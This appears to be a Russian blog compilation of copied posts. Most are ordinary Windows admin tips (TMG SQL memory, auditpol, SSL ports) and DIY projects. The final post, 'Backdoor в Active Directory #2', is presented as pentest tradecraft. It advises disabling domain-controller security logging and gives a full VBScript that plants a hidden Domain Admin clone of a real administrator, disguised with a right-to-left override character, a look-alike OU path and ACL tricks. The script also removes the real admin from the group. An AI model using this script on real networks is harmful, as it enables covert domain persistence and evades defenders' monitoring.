Лимитирование потребляемой SQL сервером памяти в Forefront TMG 2010

Во время установки Forefront TMG 2010 по умолчанию устанавливается SQL Server 2008 Express для хранения данных. Однако иногда возникает вопрос о чрезмерном потребление процессом sqlservr.exe памяти.

forefront tmg sql mem 01 thumb Лимитирование потребляемой SQL сервером памяти в Forefront TMG 2010

Подобное происходит в следствие того, что SQL сервер самостоятельно занимается внутренним управлением памяти. По своему дизайну он захватывает большое количество памяти и держит её зарезервированной, что может иногда приводить к нехватке памяти. Однако если посмотреть за процессом на более длительном периоде времени вы сможете заметить что периодически происходит освобождение памяти.

 

 

forefront tmg sql memory 02 thumb Лимитирование потребляемой SQL сервером памяти в Forefront TMG 2010

В подавляющем большинстве случаев стоит оставить подобное дефолтное поведение, т.к. в никаких реальных проблем не существует. Однако, если ваша система испытывает острую нехватку памяти, вы можете настроить лимит памяти, выделяемый SQL серверу.

Итак, откройте командную строку с правами администратора и выполните следующую команду

osql –E –S .\msfw

После подключения к SQL выполните следующую команду:

USE master
GO

EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
GO

EXEC sp_configure 'max server memory (MB)', 1024 --configure 1GB limit, adjust as needed
GO

EXEC sp_configure 'show advanced options', 0
RECONFIGURE WITH OVERRIDE
GO

Данный скрипт устанавливает лимит в 1GB (1024MB). При необходимости измените данное значение. После выполнения скрипта перезапустите службу SQL для вступления в силу изменений.

Event ID 5156 «The Windows Filtering Platform has allowed a connection»

Если у вас в журнале безопасности регистрируется довольно много сообщений с Event ID 5156, которые сообщают что »The Windows Filtering Platform has allowed a connection» и вы хотите их отключить, сделайте следующее:

Запустите gpedit.msc и перейдите в ветку «Computer Configuration/Windows Settings/Security Settings/Local Policies/Security Options«. Убедитесь что у вас, в Windows 2008, включена опция:  »Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings«.

После этого нужно воспользоваться командой «auditpol». Введите команду:

auditpol /set /subcategory:»Filtering Platform Connection» /success:disable /failure:enable

Чтоб посмотреть синтаксис этой команды введите в командной строке:

auditpol /?

Чтоб получить список всех категорий и под категорий введите:

auditpol /list /subcategory:*

Чтоб отобразить текущую политику аудита для всех категорий и подкатегорий введите:

auditpol /get /category:*

Подсмотрено тут: http://www.ultimatewindowssecurity.com/wiki/WindowsSecuritySettings/Auditpol

TMG: 12204 The specified Secure Sockets Layer (SSL) port is not allowed.

Дословно ошибка звучит так:

12204 The specified Secure Sockets Layer (SSL) port is not allowed. Forefront TMG is not configured to allow SSL requests from this port. Most Web browsers use port 443 for SSL requests. 

Нужно «добавить» ваш не стандартный SSL порт с помощью vbs-скрипта. Вот пример скрипта, добавляем порт 9443:

set isa=CreateObject("FPC.Root")
set tprange=isa.GetContainingArray.ArrayPolicy.WebProxy.TunnelPortRanges
set tmp=tprange.AddRange("SSL 9443", 9443, 9443)
tprange.Save

После запуска скрипта перезапустите службу «Windows  Firewall» или «Microsoft Firewall Service».

Решение подсмотрено тут: http://support.microsoft.com/kb/283284/en-us

Еще может пригодиться это:

http://forums.isaserver.org/m_2002068049/mpage_1/key_/tm.htm#2002068049

http://www.isaserver.org/articles/2004tunnelportrange.html

Там есть ссылка на некий GUI, но мне больше понравился vbs-скрипт.


							

Google Cache Browser — просмотр кэша без мучений

Бывает так, что нужно походить по страницам сайта, который внезапно лёг или вовсе закрылся, и испокон веков нас здесь выручает Google с его поисковым кэшем. Одна беда — «походить» в этом случае превращается в сплошное мучение: посмотреть страницу, скопировать адрес ссылки, по которой хочется пройти, вставить в поисковую строку и добавить префикс «cache:». Многовато действий ради одного перехода по ссылке. Вот ссылка на решение этой проблемы для нетерпеливых: GCB 2.0.

Копипаст: http://habrahabr.ru/blogs/services/136479/

Как сделать свечу из апельсиновой кожуры

 Как сделать свечу из апельсиновой кожуры
© photo

Из половинки апельсина, лимона или грейпфрута можно сделать натуральную свечу! Конечно, вряд ли вы в срочном порядке будете вырезать такую, если у вас дома отключат свет, скорее воспользуетесь телефоном или фонариком. Но такие свечи могут стать интересным украшением интерьера или праздничного стола.

Сделать свечу не так уж сложно, а выглядит занятно. В некоторых местах корочка фрукта просвечивает, и получается теплый и немного волшебный свет.

1. Вам понадобится апельсин, лимон, грейпфрут или любой другой фрукт из рода цитрусовых. Разрезаем его пополам и удаляем всю мякоть, оставив только белую сердцевину. Это будет фитиль нашей свечи.

Аккуратно удалить всю мякоть из лимона довольно непросто. Используйте тонкий нож и ложечку.

 Как сделать свечу из апельсиновой кожуры
© photo

 Как сделать свечу из апельсиновой кожуры

2. В получившуюся чашу наливаем любое растительное масло, например обычное подсолнечное рафинированное. Всё, свеча готова. Только не так просто её поджечь! Можно провозиться минут 10-15 в попытках разжечь её. Лучше предварительно подсушите фитиль. Зажглась она только когда фитиль немного подсох и почернел. Если её потом затушить, то в следующий раз она зажигается с первого раза.

 Как сделать свечу из апельсиновой кожуры

От такой свечи будет не исходит никакого неприятного запах жжёного масла.

Копипаст: http://lifehacker.ru/2012/01/17/kak-sdelat-svechu-iz-apelsinovojj-kozhury/

Как следить за скоростью интернета в Windows

NetSpeedMonitor для Windows интегрируется в таскбар и показывает скорость входящего и исходящег трафика, а также суммарный расход трафика. В программе радует ее минималистиность и заточенность под поставленные задачи.

 Как следить за скоростью интернета в Windows

Копипаст: http://lifehacker.ru/2012/01/18/speed/

Сделай сам Wi-Fi антенну из упаковки от компакт-дисков

Итак, первая проблема, встающая перед Вами, – плохой уровень сигнала. И причиной этому может быть все что угодно! Деревья, здания, расстояние от одной точки до другой. Единственный выход в этом случае – усилить сигнал, например, внешней антенной.

Предлагаем конструкцию простой, недорогой и надежной антенны, которую можно сделать практически из подножного хлама!

Усиление сигнала антенной составляет около 8 dB (принимаемый сигнал становится примерно в 10 раз мощнее). Это ровно столько, сколько выдают большинство покупных антенн, используемых для тех же целей. Главное требование – расстояние от резонатора в виде «медных очков» до отражательного слоя компакт-диска (рефлектора) должно быть 15 мм. Но, обо всем по порядку…

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Wi-Fi антенна из упаковки для CD, подключенная к приемнику сигнала

 

Шаг 1. Изготовление корпуса

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Берём обычную упаковку на 25 компакт-дисков

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Отрезаем центральную ось на расстоянии 18 мм

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Круглым надфилем делаем шлицы для крепления резонатора

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Выглядеть это должно примерно так

Шаг 2. Изготовление резонатора

Резонатор можно сделать из куска медного провода длиной около 25 см и диаметром 2,5…4 мм. В нашем примере использовался провод диаметром 2,5 мм.

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Если провод в изоляции, ее необходимо снять

Провод нужно согнуть в виде квадратных «очков» так, чтобы расстояние между центральными осями противоположных сторон каждого квадрата было 30…31 м

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Сгибаем, строго выдерживая размер

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Продолжаем аккуратно сгибать провод

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Получились вот такие «очки». Ещё раз проверьте размеры

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Спаяйте концы провода и залудите место будущего крепления коаксиального кабеля

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Припаяйте кабель

Шаг 3. Крепление резонатора

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Примеряем резонатор. Расстояние до основания во всех точках должно быть 16 мм!

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Двумя каплями клея приклеиваем CD рабочей стороной вверх

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Просовываем кабель в отверстие держателя и фиксируем резонатор клеем

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Двойной квадрат резонатора будет держаться за счёт клея

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Фиксируем кабель с обратной стороны

Шаг 4. Подключение антенны
Подключение покажем на примере беспроводной точки доступа (Wireless Access Point, WAP) D-Link 900AP+.

У кого есть опыт, и кто в себе уверен, тот может оригинальную антенну отпаять, и припаять новую. Кто в себе не уверен, может подключить антенну через разъём SMA.

При этом обязательно надо иметь в виду, что «залезая» в устройство (просто открывая корпус, а уж тем более, манипулируя там паяльником), всю ответственность за возможные повреждения и выход его из строя вы берете на себя. Вы должны быть уверенны, что знаете, куда и как нужно подключить антенну.

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Открываем корпус устройства. Внутри находится карта PCMCIA с антенной

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Осторожно!!! Из-за высокой температуры паяльника тонкие проводники могутотклеиться от платы

 Сделай сам Wi Fi антенну из упаковки от компакт дисков

Готово. Мощность антенны, несмотря на кажущуюся простоту, Вас удивит!

Копипаст: http://masterkit.lifehacker.ru/2012/01/18/sdelaj-sam-wi-fi-antennu-iz-upakovki-ot-kompakt-diskov/

Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

Дизайнер Ed Chew нашел необычное применение использованным упаковкам Тетра Пак от различных напитков. Эд разрезает пакеты и делает из них пятиугольники или шестиугольники, развернутые внутренней стороной из фольги. Затем он объединяет их в сферы или другие объёмные геометрические фигуры, внутрь вставляет плафон и таким образом создаёт экологичные, дешевые и потрясающе выглядящие лампы. Свет из таких ламп оставляет необычную сетку теней на окружающих объектах. Попробуйте сделать одну из таких ламп, руководствуясь следующими фотографиями.

8 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

1 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

2 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

3 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

4 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

5 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

6 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

7 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

9 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

10 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

11 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

12 Впечатляющие футуристические лампы TetraBox из использованных упаковок от напитков

Копипаст: http://designexpo.info/inspiration/82-vpechatlyayushchie-futuristicheskie-lampy-tetrabox-iz-ispolzovannoj-upakovki-ot-napitkov

Простой способ улучшить звучание своей акустики

Со временем резиновые подвесы акустических систем теряют эластичность из-за старения материала, что негативно сказывается на качестве звука. Как улучшить звучание сабвуфера и других динамиков за 10 минут?

Использовав эту чудо-жидкость для пропитки подвеса сабвуфера, вы будете поражены результатом! Басы станут мягче, глубже и отчётливее, с упругой «оттяжкой».
Попробуйте на широкополосном динамике! Тот же положительный эффект! Увеличится диапазон, появятся ярко выраженные обертоны, в диапазоне ниже 400 Гц – это просто чудо!

Есть смысл пропитать подвесы всех динамиков в доме и автомобиле, и делать это раз в полгода. Хуже не будет, будет только лучше!
Кстати, жидкость продается в отделах автокосметики и стоит недорого. Цена вопроса от 200 до 260 руб.

 Простой способ улучшить звучание своей акустики

Вот так выглядит чудо-жидкость

 

 Простой способ улучшить звучание своей акустики

Промазываем подвес широкополосного динамика

 

 Простой способ улучшить звучание своей акустики

Промазываем подвес сабвуфера

 

 Простой способ улучшить звучание своей акустики

Промазываем подвесы всей домашней акустики

Копипаст: http://masterkit.lifehacker.ru/2012/01/11/prostoj-sposob-uluchshit-zvuchanie-svoej-akustiki/

Информация не проверена, используйте на свой страх и риск =)

Backdoor в Active Directory #2

В начале прошлого года мною уже поднималась тема пост-эксплуатации в домене Microsoft Active Directory. В предложенном ранее подходе рассматривался вариант ориентированный больше на случай утери административных привилегий, нежели их непосредственное использование. При этом само действо по возврату этих привилегий подразумевало «шумные» события и визуально палевные манипуляции в каталоге. Другими словами, для того, чтобы вернуть себе административные привилегии в домене, требовалось стать участником соответствующей группы безопасности, например, группы «Domain Admins».
Надо сказать, что администраторы очень волнуются, когда неожиданно осознают присутствие в своей системе кого-то еще. Некоторые из них бросаются всеми силами обрабатывать инцидент безопасности. Порой, самыми непредсказуемыми действиями icon wink Backdoor в Active Directory #2 )
m1 Backdoor в Active Directory #2

Теперь представьте, как себя может повести администратор Active Directory в крупной компании, при виде незнакомого идентификатора в группе безопасности «Enterprise Admins»? В случае если кто-то залился не понарошку, тогда озабоченность администратора полностью оправдана. Но в случае недостаточного противодействия при проведении пентеста, шибко волноваться явно не стоит (ровно, как лишать парней точек входа и добытых потом и кровью привилегий).

Я долго размышлял над тем, как, не пугая администраторов, свободно пользоваться достигнутыми привилегиями в ходе проведения тестирования на проникновение (особенно на фоне агрессивного противодействия со стороны администраторов на последних работах). С одной стороны, при проведении пентеста мы сильно ограничены в возможностях. Например, правило по минимизации воздействия на объект исследования – это как само собой разумеющееся. Поэтому наплодить и раскидать бэкдоров по захваченной сети мы попросту не можем. С другой стороны, есть совершенно понятные цели, к которым требуется прийти до того момента, как радостный администратор заметит несанкционированную активность и выдернет шнур из розетки.

Так как же можно оставаться незамеченным в сетях Microsoft?

Первое, что приходит в голову — использовать учетную запись администратора. Доступ легитимный, поэтому он не должен привлекать к себе особое внимание. Но, как показывает практика, не всегда удается получить пароль администратора в открытом виде. В этих случаях на помощь спешит атака, известная под названием Pass-the-Hash. Было бы почти все замечательно (почти, потому как Pass-the-Hash сужает возможности по развитию атаки, например, нельзя воспользоваться протоколом удаленного управления RDP), но в серьезных компаниях администраторы потихоньку переходят на смарт-карты, что не позволяет использовать атаки, основанные на недостатках протокола NTLM. Хорошо, но есть же еще возможность использования токена авторизованного пользователя (eq incognito) и/или билета Kerberos (eqWCE). Так-то оно конечно так, но на практике Kerberos не керберос и токен не токен:( Доступный инструментарий по проведению данных видов атак, к сожалению, откровенно лажает. Кроме того, в обоих случаях, ровно как с атакой Pass-the-Hash, действия атакующего весьма ограничены используемыми протоколами, поддерживающими SSO в домене.

Таким образом, самый привлекательный путь — это использование привилегий, если уж не существующего, так созданного идентификатора администратора домена с известным паролем…

Как при этом не нарваться на бдительный глаз администратора домена?

Во-первых, внесение изменений в каталог Active Directory порождает соответствующие события, о которых администратору лучше не знать. Поэтому перед заливкой в домен (разумеется, только при проведении тестирования на проникновение и после согласования сего действа с ответственным лицом на стороне заказчика) рекомендуется отключить ведение событий безопасности на контролерах домена посредством соответствующего GPO. Напомню, что по умолчанию время фонового обновления групповых политик для контроллеров домена составляет 15 минут.

Во-вторых, никто не мешает создать визуально идентичную учетную запись, аналогичную существующему администратору домена. Для этого, например, могут использоваться символы юникода (!). Далее, созданному пользователю выставляется атрибут «showInAdvancedViewOnly» в значение «TRUE», что позволит скрыть объект в стандартном режиме просмотра оснастки «Управления пользователями и компьютерами» (dsa.msc). После чего, осталось поместить этого пользователя в одну из административных групп, свободную от реального администратора домена (прим., как правило, администраторы любят воткнуть свою учетную запись во все мыслимые и не мыслимые административные группы; например, оставим администратора в группе «Enterprise Admins», а клона поместим в группу «Domain Admins»).

Но я думаю, что многие из читателей уже засомневалась в успехе компании. И они правы! Этот способ никуда не годится, т.к. в нем присутствуют два существенных недостатка:
1. Созданный идентификатор пользователя виден в каталоге «вооруженным глазом».
2. При поиске пользователей в домене, учетная запись администратора начинает двоиться.

Как можно решить эти проблемы?

Казалось бы, самое простое решение на поверхности – правильно настроить права доступа к создаваемому объекту (нашему пользователю). Для этого достаточно группе «Everyone» запретить читать публичную информацию у объекта. И в организационной единице, рядом с реальным администратором Active Directory повиснет «нечто», что как минимум перестанет светиться при поиске пользователей в домене. Однако сказка продлится не более, чем 60 минут:( Дело в том, что по умолчанию каждые 60 минут на контроллере домена, выполняющего роль эмулятора PDC, запускается процесс «SDPROP», который восстанавливает права доступа у ряда объектов Active Directory (в том числе, у всех членов групп администраторов) в соответствии с установленными правами доступа на объект «AdminSDHolder» (http://technet.microsoft.com/en-us/query/ee361593).

К сожалению, отключить указанный механизм безопасности штатными возможностями невозможно. Хак с правами доступа на объект может привести к проблемам с репликацией (а тут уже попахивает какой-то диверсией; при пентесте низя). Перезапись прав доступа на «AdminSDHolder» затронет множество объектов, включая идентификаторы всех администраторов домена. Таким образом, одним из возможных полезных решений, может быть регулярный запуск сценария, который будет исправлять погрешности процесса «SDPROP», но есть и более перспективная альтернатива.

Процесс «SDPROP» восстанавливает права доступа (ACE) только на конкретные привилегированные объекты, при этом права доступа для организационных единиц, в которых содержатся подобные объекты, остаются неизменными. Этим-то как раз и можно воспользоваться! Нам ведь никто не мешает, используя символы юникода, создать аналогичную последовательность организационных единиц, аналогично той последовательности, в которой содержится клонируемый идентификатор. При этом, «правильные» права доступа на вышестоящий контейнер позволят его визуально скрыть от посторонних глаз (разумеется в пределах разумного).

m2 Backdoor в Active Directory #2

m3 Backdoor в Active Directory #2

Смысл подобного подхода заключается в том, что у администратора Active Directory не должны появиться нездоровые подозрения на тему того, что доверенная ему система была скомпрометирована. Он по-прежнему остается действующим администратором, разве что членом одной из привилегированных групп является визуально идентичная учетная запись…

И последнее. Для того чтобы созданный клон не дублировался в поиске по каталогу можно воспользоваться, например, символом «202E» (респект Александру Зайцеву за напоминалку). Указанный символ переворачивает строку, расположенную за ним. Таким образом, если мы, к примеру, создаем клон для идентификатора «dmitry.ivanov», создаваемый идентификатор будет иметь вид «202E»+«vonavi.yrtimd». Возможно, такой подход не так удобен для прохождения аутентификации, но от попадания в поиск по каталогу спасает.

m4 Backdoor в Active Directory #2

С точки зрения журналов безопасности, рассматриваемый подход также позволяет оставаться незамеченным до определенного момента.

m5 Backdoor в Active Directory #2

Ниже представлен сценарий, который автоматизирует все выше сказанное. Настраиваемые параметры:

strAdminsamAccountName – идентификатор, который требуется с клонировать
strAdminsGroup – привилегированная группа, в которую следует поместить клона
strPassNewUser – задаваемый пароль новому пользователю

On Error Resume Next

strAdminsamAccountName = «dmitry.ivanov»
strAdminsGroup = «Domain Admins»
strPassNewUser = «P@ssw0rd»

‘ — — — Dim arrContainer(), i

Set objRootDSE = GetObject(«LDAP://RootDSE»)
strDomain = objRootDSE.Get(«DefaultNamingContext»)
Set objDomain = GetObject(«LDAP://» & strDomain)

strAdminsamAccountNameDN = SearchDN(«‘ WHERE objectCategory=’user’ AND samAccountName = ‘» & strAdminsamAccountName & «‘»)

If Not IsNull(strAdminsamAccountNameDN) Then

Set objAdmin = GetObject(«LDAP://» & strAdminsamAccountNameDN)
Set objOU = GetObject(objAdmin.parent)

i=0
Call EnumOUs(objOU)

For j = i-1 To 0 Step -1

if strContainer=»" Then
strContainer = «OU=» & arrContainer(j) & strContainer
primaryContainer = strContainer
Else
strContainer = «OU=» & arrContainer(j) & «,» & strContainer
End if
Set objOUcreate = objDomain.Create(«organizationalUnit», strContainer)
objOUcreate.SetInfo
Next

Set objContainer = GetObject(«LDAP://» & strContainer & «,» & strDomain)

Set objUserCreate = objContainer.Create(«User», «cn=» & ChrW(8238) & StrReverse(objAdmin.displayName))
objUserCreate.Put «sAMAccountName», ChrW(8238) & StrReverse(strAdminsamAccountName)
objUserCreate.SetInfo
On Error Resume Next

objUserCreate.SetPassword strPassNewUser
objUserCreate.Put «userAccountControl», 66048
objUserCreate.Put «givenName», ChrW(8238) & StrReverse(objAdmin.givenName)
objUserCreate.Put «sn», ChrW(8238) & StrReverse(objAdmin.sn)
objUserCreate.Put «initials», ChrW(8238) & StrReverse(objAdmin.initials)
objUserCreate.SetInfo
On Error Resume Next

objUserCreate.Put «showInAdvancedViewOnly», «TRUE»
objUserCreate.SetInfo
On Error Resume Next

NewUserDN = «cn=» & ChrW(8238) & StrReverse(objAdmin.displayName) & «,» & objContainer.distinguishedName

strAdminsGroupDN = SearchDN(«‘ WHERE objectCategory=’group’ AND samAccountName = ‘» & strAdminsGroup & «‘»)

If Not IsNull(strAdminsGroupDN) Then
Set objGroup = GetObject(«LDAP://» & strAdminsGroupDN)
objGroup.PutEx 4, «member», Array(strAdminsamAccountNameDN)
objGroup.SetInfo
objGroup.PutEx 3, «member», Array(NewUserDN)
objGroup.SetInfo
End If

OUAddAce(primaryContainer & «,» & strDomain)

End If

Function SearchDN(str)
Set objConnection = CreateObject(«ADODB.Connection»)

objConnection.Provider = «ADsDSOObject»
objConnection.Open «Active Directory Provider»

Set objCommand = CreateObject(«ADODB.Command»)
Set objCommand.ActiveConnection = objConnection
objCommand.Properties(«Searchscope») = 2

objCommand.CommandText = «SELECT distinguishedName FROM ‘LDAP://» & strDomain & str
Set objRecordSet = objCommand.Execute
If Not objRecordSet.EOF Then
SearchDN = objRecordSet.Fields(«distinguishedName»).Value
End if
End Function

Sub EnumOUs(objChild)
Dim objParent

Set objParent = GetObject(objChild.Parent)
If (objParent.Class = «organizationalUnit») Then
ReDim Preserve arrContainer(i + 1)
arrContainer(i) = objChild.ou
i=i+1
Call EnumOUs(objParent)
Else
ReDim Preserve arrContainer(i + 1)
arrContainer(i) = objChild.ou & ChrW(128)
i=i+1
End If
End Sub

Function OUAddAce(OU)

Dim objSdUtil, objSD, objDACL, objAce
Set objOU = GetObject («LDAP://» & OU)

Set objSdUtil = GetObject(objOU.ADsPath)
Set objSD = objSdUtil.Get(«ntSecurityDescriptor»)
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject(«AccessControlEntry»)

objAce.Trustee = «Everyone»
objAce.AceFlags = 2
objAce.AceType = 6
objAce.AccessMask = 16
objAce.Flags = 1
objAce.ObjectType = «{E48D0154-BCF8-11D1-8702-00C04FB96050}»
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put «ntSecurityDescriptor», Array(objSD)
objSDUtil.SetInfo

Set objNtSecurityDescriptor = objOU.Get(«ntSecurityDescriptor»)
intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
objOU.Put «ntSecurityDescriptor», objNtSecurityDescriptor
objOU.SetInfo

End Function

Копипаст: http://habrahabr.ru/blogs/infosecurity/135915/